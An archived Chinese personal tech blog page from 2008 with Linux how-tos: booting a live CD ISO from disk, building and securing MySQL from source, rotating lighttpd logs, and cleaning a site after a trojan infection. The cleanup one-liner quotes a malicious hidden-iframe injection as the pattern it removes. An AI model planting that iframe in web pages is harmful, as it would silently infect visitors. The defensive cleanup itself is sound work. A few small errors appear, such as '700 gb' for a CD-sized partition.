存档

文章标签 ‘linux’

Boot a liveCD iso from the hard drive (摘录)

2008年6月27日

Some three or four years ago I read an atricle suggesting a possible way to boot a liveCD iso from the hard drive. I haven’t tried it yet; it’s in my *to do one of these days* folder.

1) create a cd sized partition (700 gb or slightly larger) or a dvd sized partition (4.5 gb or thereabouts).

2) format the partition iso9660 (in essence, creating a cd disk on the hard drive).

3) burn the iso to the new partition just as you would burn to cd, specifying cdrom=/dev/hdX,Y (the partition on the drive instead of the cd drive).

4) add an entry in your grub conf file to point the the new partition, something like:
title some_live_cd
root (hdX,Y) # where X,Y is the partition you just created)
chainloader +1

On reboot, you should see the entry for the iso in your grub menu. Grub *should* pass the boot process off to the bootloader in the iso image, resulting in the iso booting just as though it were a livecd in the cd drive.

I repeat: I haven’t tried it yet. But, on the surface, it looks like it should work.

If that fails, here is an alternative method to try:
http://www.linuxquestions.org/questi…out-cd-592527/

技术路径

install avast4workstation on my linux server

2008年5月6日

1. download avast4workstation
2. tar zxvf avast4workstation
3. run…

安装确实非常简单,且没有任何出错和提示,仅仅在第一次运行时,根据当前用户需要输入授权号(仅申请即可)。

但我安装的原因是得杀某个病毒(卡巴斯基报毒),实际上就是一个恶意的script。但实际情况看,avast4workstation并未能监测到这个毒,故未能杀出。

而我的解决方法如我的blog下面的关于find and xargs perl 方式直接将那段代码替换删除罢了。个人认为此举仅治标不治本,所以linux下权限问题和代码检查以及日志分析监测方面工作今后得认真注意。

技术路径

Install mysql on redhat (转)

2008年5月6日

Install and Configure MySQL on Linux
用 MySQL 有年头了,写篇简单的文档来记录下自己的常用安装和配置过程。本文旨在介绍如何在 Linux 系统上安装 MySQL 数据库服务器,以及基本配置。本文仅仅提供一份快速指南,请访问 MySQL 官方网站获取详细安装、配置指南。

OS: Red Hat Enterprise Linux AS 3.0
MySQL: 5.0.22

源码 tarball 放置在 /home/huangys , 安装目的地是/opt/mysql

1. 准备

创建一个用户来运行 MySQL 守护进程。
# groupadd mysqlg
# useradd –g mysqlg –M –s /sbin/nologin mysqld

解包
# cd /home/huangys
# tar zxvf mysql-5.0.22.tar.gz

2. 配置编译选项

# cd mysql-5.0.22
# ./configure –prefix=/opt/mysql –with-charset=utf8 –with-extra-charsets=all –with-tcp-port=3306 –with-unix-socket-path=/tmp/mysql.sock –with-mysqld-user=mysqld –with-federated-storage-engine

选项说明:
–prefix=/opt/mysql 将MySQL安装到目录/opt/mysql下
–with-charset=utf8 指定缺省字符集为utf8
–with-extra-charsets=all 将MySQL所有支持的字符集编译进来
–with-tcp-port=3306 指定此MySQL实例将监听TCP 3306端口
–with-unix-socket-path=/tmp/mysql.sock 指定UNIX socket文件的路径(为绝对路径)
–wih-mysqld-user=mysqld 指定用来运行MySQL守护进程的用户
–with-federated-storage-engine 支持federated存储引擎

通过指令 configure –help 可以查看全部选项信息。

3. 编译、安装

# make
# make install

4. 初始化

# scripts/mysql_install_db
这将会在安装目录 /opt/mysql 下创建 MySQL 的数据目录 var

5. 配置

在 MySQL 提供的支持文件中复制一个合适的配置档到 MySQL 数据目录中,并命名为 my.cnf
# cp support-files/my-huge.cnf /opt/mysql/var/my.cnf

主要修改点在 [mysqld] 配置块中:

指定允许的最大包尺寸:
max_allowed_packet = 2M

指定最大连接数(默认为100):
max_connections = 1000

指定服务器端字符集:
character_set_server = utf8

强制指定连接使用的字符集:
init_connect = ’set names utf8′
(注意:若连接时使用的是 super user ,则此项不会被执行,MySQL 文档对此有详细解释。)

指定安装目录和数据目录:
basedir = /opt/mysql2/
datadir = /opt/mysql2/var/

忽略Berkeley DB:
skip-bdb
(同理,若也打算忽略 InnoDB,则使用 skip-innodb)

配置InnoDB:
innodb_data_home_dir = /opt/mysql2/var/
innodb_data_file_path = ibdata1:500M;ibdata2:50M:autoextend
innodb_log_group_home_dir = /opt/mysql2/var/
innodb_log_arch_dir = /opt/mysql2/var/
innodb_buffer_pool_size = 384M
innodb_additional_mem_pool_size = 20M
innodb_log_file_size = 100M
innodb_log_buffer_size = 8M
innodb_flush_log_at_trx_commit = 1
innodb_lock_wait_timeout = 50

完成编辑此配置档后,记得顺便修改一下 MySQL 数据目录的 ownership:
# cd /opt/mysql
# chown –Rc mysqld.mysqlg var

6. 控制脚本

MySQL提供了一个脚本文件,可以用来方便地控制MySQL守护进程。
# cp support-files/mysql.server /opt/mysql/bin/mysqlctl
# cd /opt/mysql/bin
# chmod 755 mysqlctl

启动:
# /opt/mysql/bin/mysqlctl start
停止:
# /opt/mysql/bin/mysql stop

注意,若启用了 InnoDB 存储引擎,那么第一次启动 MySQL 服务器时,速度会比较慢,因为需要分配在配置档中定义的空间、生成相应的数据文件、日志文件等。

7. Security

安全问题在哪里都是很重要的,特别是对于初安装的新系统而言,尤其如此。

MySQL 往往携带有四个缺省用户,分别是 ‘root’@'localhost’, ‘root’@'%’, ”@’localhost’, ”@’%’.
除了第一个本地root,其他三个(任意来源的root,以及两个匿名用户)都应该删除:

mysql> use mysql
mysql> delete from user where user=”;
mysql> delete from user where user=’root’ and host=’%';

这唯一保留的用户 root@localhost 的密码默认为空,当然不好。为它加上密码:

# /opt/mysql/bin/mysqladmin -uroot -hlocalhost -P3306 -p password my_pass

指令中的 my_pass 就是设定的密码,注意,不要用单引号把它括起来。

8. Appendix

[root@tbox2 root]# cat /etc/redhat-release
Red Hat Enterprise Linux AS release 3 (Taroon)

[root@tbox2 root]# uname -a
Linux tbox2.test.net 2.4.21-4.ELsmp #1 SMP Fri Oct 3 17:52:56 EDT 2003 i686 i686 i386 GNU/Linux

[root@tbox2 root]# rpm -qa | grep gcc
libgcc-ssa-3.5ssa-0.20030801.41
gcc-g77-3.2.3-20
gcc-ssa-3.5ssa-0.20030801.41
gcc-objc-ssa-3.5ssa-0.20030801.41
compat-gcc-c++-7.3-2.96.122
compat-gcc-7.3-2.96.122
gcc-c++-3.2.3-20
gcc-gnat-3.2.3-20
gcc-objc-3.2.3-20
gcc-c++-ssa-3.5ssa-0.20030801.41
gcc-java-ssa-3.5ssa-0.20030801.41
libgcc-3.2.3-20
gcc-3.2.3-20
gcc-java-3.2.3-20
gcc-g77-ssa-3.5ssa-0.20030801.41

[root@tbox2 root]# rpm -qa | grep glibc
glibc-headers-2.3.2-95.3
glibc-common-2.3.2-95.3
glibc-utils-2.3.2-95.3
glibc-kernheaders-2.4-8.34
glibc-devel-2.3.2-95.3
compat-glibc-7.x-2.2.4.32.5
glibc-2.3.2-95.3
glibc-profile-2.3.2-95.3

[root@tbox2 root]# /opt/mysql/bin/mysql –version
/opt/mysql/bin/mysql Ver 14.12 Distrib 5.0.22, for pc-linux-gnu (i686) using EditLine wrapper

END.

http://huang.yunsong.net/2006/install-and-configure-mysql-on-linux.html

技术路径 ,

linux text replace with many files

2008年5月6日

当前目录下,所有index.html中包含木马的文字替换

find . -name index.html |xargs perl -pi -e ’s/<iframe src=http:\/\/msn.vnm3.cn\/wmpu\/msn.htm width=1 height=1><\/iframe>//i’

http://www.oreilly.com/pub/h/73

技术路径

webanizer 还是很方便的

2008年3月28日

日志分析~如题~

技术路径

定时更新服务器日志脚本(原创)

2008年3月28日
DATE=`date +%Y-%m-%d_%Hh%Mm`
DATEACCESS=$DATE'_access.log'
DATEERROR=$DATE'_error.log'
echo stoping lighttpd...
echo mv lighttpd access error ... to ... [$DATEACCESS] [$DATEERROR]
mv /others/lighthttpd/logs/access.log /others/lighthttpd/logs/$DATEACCESS
mv /others/lighthttpd/logs/error.log /others/lighthttpd/logs/$DATEERROR
killall lighttpd
echo starting lighttpd...
/others/lighthttpd/sbin/lighttpd -f /others/lighthttpd/conf/lighttpd.conf

再修改crontab文件

技术路径